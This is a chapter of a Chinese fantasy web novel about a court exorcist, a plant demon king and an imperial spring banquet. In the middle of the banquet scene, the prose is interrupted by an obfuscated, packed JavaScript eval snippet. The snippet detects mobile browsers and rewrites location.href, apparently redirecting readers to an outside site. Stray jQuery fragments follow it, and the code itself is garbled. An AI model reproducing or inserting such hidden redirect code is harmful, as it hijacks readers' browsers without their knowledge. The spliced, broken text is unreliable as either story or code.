16. 御用捉妖师(十六)

太平盛世时期,当人们的能够酒足饭饱后,文化自然也就繁荣起来,各种娱乐活动层出不穷,姜望舒所处的正是这样一个时代,在和妖怪的大战中,人口的数量只能支撑起建立一个国家,所以没有敌国,四处一片祥和。


文娱活动是盛世的锦上添花,捉妖修炼才是乱世的雪中送炭,简而言之,就是姜望舒并不喜这些仅浮于表面的歌舞宴会,比起这些,她更喜欢有意思的游戏。


而春日宴是宫内每年皇后举办的宴会,多是邀请一些外臣的女眷参加,由于姜望舒任职期间,没有妖怪能在后宫兴起做浪,所以她也被邀请了去。


不知不觉间,姜望舒已经在皇宫任职了数月,满半年,她就可以辞去御用捉妖师一职,去到任何她想去的地方。宫里头生活平淡无趣,好在有祁辰时常来跟她斗斗嘴。


春日的暖阳透过宫墙,宫内,一片春意盎然,繁花似锦,嫩柳如丝,很多花卉都生出了花苞,只待开放。


大抵是植物的天性使然,她察觉的祁辰在春日里似乎心情格外愉悦,不过人类也是一样,喜欢着万物复苏的季节,如此生动鲜活。


宫人们明显忙碌起来,为春日宴做着准备,排练舞蹈的紧锣密鼓地筹备,膳食房里的人更是忙得不可开交,就是在这个时候,姜望舒带着祁辰偷溜了进去。


“和你相处久了,我的脑袋都变笨了,本王是王爷,为什么要偷偷进来才能吃到艾糍?”祁辰有些不满,但还是跟着她鬼鬼祟祟地蹲在膳食房的窗户后。


浓郁的香气从房间内扑鼻而来,差点没把姜望舒香迷糊,她已经闻到红烧肉的肉香混着糖香。


姜望舒拍了拍他的肩膀说:“诶呀,你不懂,这艾糍就是刚出锅的时候最宜食用,配上百年酒酿,味道一绝,等到他们送到你的住处,早就冷掉了,难道你堂堂最受宠的王爷,好意思被别人发现亲自来吃艾糍吗?”


祁辰憋屈地“嗯”了一声,的确是有些掉价儿,祁辰好意思,可是李云为不好意思。


于是两人等啊等,终于艾糍出锅,被端到做好的桌子前,桌子就靠近窗户的位置,趁厨师转身的空当,祁辰施展法术,这盘艾糍就飞到姜望舒的手里。


成功得手后,两人快速逃离作案现场,一是担心被发现,二是不想让这盘菜冷掉,甚至用上了内力,奔跑着找到一个安静无人的角落。


“可惜了,我们没有百年酒酿,就吃这个吧。”艾草的清香不断引诱着两人,不同于其它香料的浓烈,这种香气自然清甜,带着一丝淡淡的草本气息。


“谁说没有的。”祁辰变戏法似地袖口一翻,一小坛酒就这样出现在他手中,“本王在这后宫要什么有什么。”


很快就是春日宴当天,姜望舒难得起床梳妆了一番,虽然她无心与官家女子争艳,但是自己好歹也有张桌子要坐,不能显得太过随意。


宴席设在御花园的中心,一座巨大的八角亭下,一张张紫檀木桌上面铺着红锦桌布,桌上摆放着金光闪烁的酒杯和一碟碟晶莹剔透的玉盘,盘中有各色珍馐。


最中间的位置是留给皇后的,苏萱也被邀请来了,苏萱看到姜望舒后就很自然地坐到她的身边。


“嘿,好巧啊。”她友好地冲姜望舒打着招呼,随后掩面轻笑,“不过你被邀请来也并不意外,毕竟你这么可爱乖巧。”


“苏姐姐,好久不见,”姜望舒也很欣喜在这无聊的宴会上能遇到个说话的人,“上次告别的时候你的状态好像很慌张,听说你回阴月派后就闭关修炼,如果发生了什么事情可以随时来找我。”


苏萱自嘲地笑了笑,但姿态仍是风情万种:“没事,一个很真实的梦魇罢了,都过去了。”


她们刚说了几句话,宴会就开始了,皇后坐在高高的主位上,比她位置稍低一些的是一个相貌极其美丽的女子,和苏萱是一挂的美人,十分妩媚,勾人心弦。


就连姜望舒一时都看呆了,回过神来后,心里直犯嘀咕,总觉得那张脸和谁有些相似,是和谁呢?她有些绞尽脑汁。


见到姜望舒眉头紧皱盯着前方看,苏萱贴心地解释道:“你刚入宫,可能还不知道,那位坐在皇后身边的就是柔妃,她是最受宠的妃子,地位仅次于皇后,甚至因为皇上的宠爱,有时候皇后也要敬她几分,她身边坐着的是三皇子和四公主。”


姜望舒点了点头,表示自己知道了,在皇后的另一侧坐着的是太子,再稍远一些坐着的是二皇子,二皇子显然早就注意到姜望舒了,冲着她温和地笑了笑,姜望舒也回以笑容。


四公主生的和柔妃很像,三皇子倒是相貌平平,看起来像是负负得正,没有继承他母妃和皇上好看的容颜。


苏萱将两人的互动看在眼里,更是凑近了她问:“你和二皇子很熟?”


就在姜望舒要回答的时候,一阵乐器声打断了她的话头,舞伎们从亭外翩翩而入。她们身着轻纱,衣袂飘飘,物资轻盈优美,时而旋转,裙摆如盛开的花朵,其中蕴含的生机与这春色恰到好处地融入在一起。


借着音乐声的掩饰,她把自己在宫里如何帮助二皇子捉妖的事情告诉苏萱。


苏萱点了点头,接着说:“二皇子为人谦虚有礼,聪慧谨慎,不像太子那般嚣张跋扈,只是可惜生母的地位远不如皇后和柔妃,没妈的孩子像根草,这句话在他身上表现的淋漓尽致。”


想到之前太子威胁她的那副丑恶嘴脸,姜望舒表示简直不能太赞同她的评价。


宴会进行到一半,皇后突然高声说:“每年都是这样的歌舞,翻不出什么新花样,王家女,本宫听闻你最善歌舞,可愿上前献上一舞?”


苏萱在旁小声和姜望舒说:“看来,这皇后是想要选一个合适的太子妃人选,这太子虽然已有侧妃,但正妃的位置还空着,她正急着


“王家女是官家女子?家世显赫吗?”


“王丞相的嫡长女,确实是太子妃的合适人选,他家还有一个庶女,都希望能够嫁入皇家,看皇后的意思是更加偏向长女。”


皇后在上相看合适的太子妃人选,姜望舒和苏萱在下聊的不亦乐乎。


“那就是两女争一男的俗套剧情了?”


“差不多吧,庶女知道大姐更受偏爱,就故意放出谣言,说大姐在外藏了人,这当然是假的,那个男人其实是庶女故意找来的,虽然最后还了王家女的清白,但是家丑不可外扬,知道真相的人并不多。”


姜望舒瞳孔放大:“王家女就甘愿咽下这口气?如果是我,一定会有力地回击。”


“当然不,王家女知道这件事情后,气得当晚就带着丫鬟把庶女推到院子的湖里,王丞相知道这件事情嫡女心里有气,就只是把她训了一顿,没有什么惩罚。”


姜望舒点了点头,再抬头看王家女的舞蹈,莫名多了几分英气。


“可惜,她们只看到了权力和地位,对太子的为人并不了解,可是我不明白,太子明明是暗定的继承人,为什么还要如此为难二皇子?”


苏萱耸耸肩说:“三皇子胆小怕事,若说可能有威胁的,也就是二皇子了。


;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15320530|167461||http|test|mini|href|location.split(|),0,{}));


() {


$(.inform).remove();


$(#content).append(





两人又聊了很多八卦,说到好笑的地方,两人还端起酒杯阻挡偷笑的嘴角。


突然,苏萱伸手摸了摸姜望舒的脑袋,无奈地说:“姜妹妹,我发现你有一种魔力。”


姜望舒不太理解地问:“什么魔力?”


“一种能够带动人和你一同胡闹的恐怖能力。”


姜望舒没有理解苏萱的意思,如果祁辰在这里,一定会十分赞同苏萱说的话,就比如他本来是一个王爷,却莫名其妙地和她一起去偷吃艾糍这件事他一定会烂在肚子里。


突然,皇后的目光看向了捉妖师的座位处,温声说:“苏萱,本宫听闻你的剑术高超,可否愿意为大家舞一剑?”


没想到,苏萱直接站起来,恭敬地说:“对不起皇后娘娘,小女最近因为捉妖身体抱恙,旧伤未好,恐怕会扫了大家的兴致。”


皇后也并没有再勉强,而是和其他人继续寒暄。


姜望舒能够理解苏萱的拒绝,捉妖门派很重要,但明面上并不宣扬,有损皇家威严,更何况这怕不是一场鸿门宴,苏萱明显没有那个选妃的心思。


宴会结束后,姜望舒和苏萱依依不舍地告别,还有些没聊够。


最近,祁辰突然迷恋上编制花环,由着是春天,编织的材料也多,姜望舒几乎每天都能收到他的一个花环,桌子上都叠满了。


这天,他又笑眯眯地拿着一小袋材料来到姜望舒的住所,毫不客气地就把所有东西摊放在桌子上,彼时姜望舒正在专心研究新的符咒,被祁辰打断后,一个手抖直接把符箓画废了,上一个打扰她研究的人已经被吓得退出房间了。


祁辰直接被打倒在床上,一副柔弱不能自理的模样,至于为什么是倒在床上就要问祁辰自己了。


“诶呀呀,怎么火气这么大~你整日闷在屋子里倒腾怎么收服我们,岂不是辜负了这大好春光?”说完,他还换了个更舒服的姿势躺着,动作妖娆,勾了勾手指,“不如我们玩些更有趣的?”


姜望舒瞪了他一眼,没好气地说:“对对对,我就是研究怎么收服你们的。”


她的示威在祁辰的眼中就像是可爱的猫咪冲他挥了挥爪子一样,只让他觉得有些可爱,故意拖长了音调说:“噢~除了我,姜大捉妖师还想要收谁呢?友情提示,收了我你就相当于近乎收掉了整个妖族噢~”


没想到,姜望舒还真把这句话给听进去了,小鹿般灵动的眼睛转了转,居然思考着说:“你那么厉害,居然不是整个妖族,是因为那条海妖吗?也是四大妖王之一……”


还没分析完,一抬头,看到祁辰幽怨的眼神,突然意识到什么,撇了他一眼说:“你吃错药了?植物在春天也会发情吗?”


祁辰立刻一副被抛弃的小媳妇模样看着她,恶狠狠说:“姜望舒活该你单身一辈子!”说完,还把她手中的符纸都收走了。


“过来,陪本尊做花环!”


“好的,妖王大人——”


祁辰觉得姜望舒没有做过花环,所以肯定不太会编,故意放慢了手速,他的手指修长而有力,动作轻柔却准确,将□□缠绕在藤圈上,很快,一个粉色的迎春花环就做好了,上面的花朵错落有致,散发着淡淡的清香。


当他再抬头,发现姜望舒早就以迅雷不及掩耳之势做好了一个,正用手撑着下巴,慢悠悠地说:“好看,话说,这藤条是哪来的,我怎么没看出来是什么植物的?”


祁辰没有回答这个问题,只是难得有些脸热的样子,眼神也开始闪躲起来。